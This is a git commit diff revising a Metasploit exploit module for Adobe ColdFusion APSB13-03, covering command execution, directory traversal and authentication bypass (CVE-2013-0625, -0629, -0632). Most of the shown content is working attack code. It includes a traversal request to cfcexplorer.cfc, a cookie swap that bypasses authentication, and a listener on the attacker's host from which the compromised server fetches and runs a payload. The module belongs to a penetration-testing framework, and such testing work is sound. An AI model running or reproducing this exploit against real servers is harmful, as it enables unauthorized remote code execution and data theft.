Adding most suggested changes to jhart's adobe module
Tod Beardsley
parent
522642a65d
commit
90e986860e
|
|
@ -19,23 +19,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Name' => 'Adobe ColdFusion APSB13-03',
|
||||
'Description' => %q{
|
||||
This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13-03:
|
||||
* CVE-2013-0625: arbitrary command execution in scheduleedit.cfm (9.x only)
|
||||
* CVE-2013-0629: directory traversal
|
||||
* CVE-2013-0632: authentication bypass
|
||||
CVE-2013-0625 (arbitrary command execution in scheduleedit.cfm (9.x only)),
|
||||
CVE-2013-0629 (directory traversal), and CVE-2013-0632 (authentication bypass)
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Jon Hart <jon_hart[at]rapid7.com', # Metasploit module
|
||||
'Jon Hart <jon_hart[at]rapid7.com>', # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0625'],
|
||||
[ 'CVE', '2013-0629'],
|
||||
# we don't actually exploit this, as this is the backdoor
|
||||
# dropped by malware exploiting the other vulnerabilities
|
||||
[ 'CVE', '2013-0631'],
|
||||
[ 'CVE', '2013-0632'],
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
|
|
@ -50,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultTarget' => 1,
|
||||
'Privileged' => true,
|
||||
'Platform' => [ 'win', 'linux' ],
|
||||
'Platform' => [ 'win', 'linux', 'unix' ],
|
||||
'DisclosureDate' => 'Jan 15 2013'))
|
||||
|
||||
register_options(
|
||||
|
|
@ -103,7 +98,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
# if we managed to login, get the listener ready
|
||||
datastore['URIPATH'] = rand_text_alphanumeric(6)
|
||||
srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
|
||||
if (datastore['SRVHOST'] == "0.0.0.0")
|
||||
srv_host = Rex::Socket.source_address(rhost)
|
||||
else
|
||||
srv_host = datastore['SRVHOST']
|
||||
end
|
||||
srv_port = datastore['SRVPORT'] || 80
|
||||
srv_uri = "http://#{srv_host}:#{srv_port}"
|
||||
start_service
|
||||
|
||||
# drop a payload on disk which we can used to execute
|
||||
|
|
@ -154,7 +155,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def on_request_uri cli, request
|
||||
cf_payload = "test"
|
||||
case request.uri
|
||||
when "/#{datastore['URIPATH']}-e"
|
||||
cf_payload = <<-EOF
|
||||
|
|
@ -165,6 +165,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
EOF
|
||||
when "/#{datastore['URIPATH']}-p"
|
||||
cf_payload = payload.encoded
|
||||
else
|
||||
cf_payload = "test"
|
||||
end
|
||||
send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
|
||||
end
|
||||
|
|
@ -216,9 +218,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'connection' => 'TE, close',
|
||||
'cookie' => build_cookie_header(cookie_hash),
|
||||
})
|
||||
cookie_hash.merge! get_useful_cookies res
|
||||
|
||||
if res
|
||||
cookie_hash.merge! get_useful_cookies res
|
||||
# XXX: I can only seem to get this to work if 'Enable Session Variables'
|
||||
# is disabled (Server Settings -> Memory Variables)
|
||||
token = res.body.scan(/<input type="hidden" name="csrftoken" value="([^\"]+)"/).flatten.first
|
||||
|
|
@ -541,7 +543,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# was just wide open
|
||||
vuln_without_creds = false
|
||||
paths.each do |path|
|
||||
if (traverse_read path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
|
||||
if traverse_read(path, nil) =~ /ADOBE SYSTEMS INCORPORATED/
|
||||
vulns += 1
|
||||
vuln_without_creds = true
|
||||
break
|
||||
|
|
@ -559,7 +561,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
vuln_without_bypass = false
|
||||
paths.each do |path|
|
||||
cf_cookies = componentutils_login datastore['USERNAME'], datastore['PASSWORD']
|
||||
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
|
||||
if traverse_read(path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
|
||||
vulns += 1
|
||||
vuln_without_bypass = true
|
||||
break
|
||||
|
|
@ -581,7 +583,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# and use it for CFAUTHORIZATION_componentutils
|
||||
cf_cookies['CFAUTHORIZATION_componentutils'] = cf_cookies['CFAUTHORIZATION_cfadmin']
|
||||
cf_cookies.delete 'CFAUTHORIZATION_cfadmin'
|
||||
if (traverse_read path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
|
||||
if traverse_read(path, cf_cookies) =~ /ADOBE SYSTEMS INCORPORATED/
|
||||
vulns += 1
|
||||
vuln_with_bypass = true
|
||||
break
|
||||
|
|
@ -604,7 +606,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
|
||||
# subsequently *enabled* after install, the password is unset so we simply must
|
||||
# check that and only that.
|
||||
cf_cookies = adminapi_login 'foo', 'bar', true
|
||||
cf_cookies = adminapi_login Rex::Text.rand_text_alpha(4), Rex::Text.rand_text_alpha(4), true
|
||||
if cf_cookies.empty?
|
||||
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"
|
||||
else
|
||||
|
|
@ -617,7 +619,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
false
|
||||
end
|
||||
|
||||
def traverse_read path, cookies
|
||||
def traverse_read(path, cookies)
|
||||
uri = normalize_uri(target_uri.path)
|
||||
uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
|
||||
uri << path
|
||||
|
|
@ -628,6 +630,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'connection' => 'TE, close',
|
||||
'cookie' => build_cookie_header(cookies)
|
||||
})
|
||||
res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
|
||||
if res and res.body
|
||||
res.body.gsub(/\r\n?/, "\n").gsub(/.<html>.<head>.<title>Component.*/m, '')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue